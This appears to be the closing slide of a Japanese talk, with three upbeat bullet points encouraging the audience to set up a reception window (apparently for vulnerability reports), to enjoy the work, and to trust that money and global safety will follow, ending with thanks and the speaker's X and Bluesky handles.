• まずは受け付け体制を整えて、窓口からでも! • 難しく考えず、楽しむことが第一で良いと思う! • あとからお金も世界の安全もついてくるはず!
Thanks! 𝕏 @kinugawamasato @masatokinugawa.bsky.social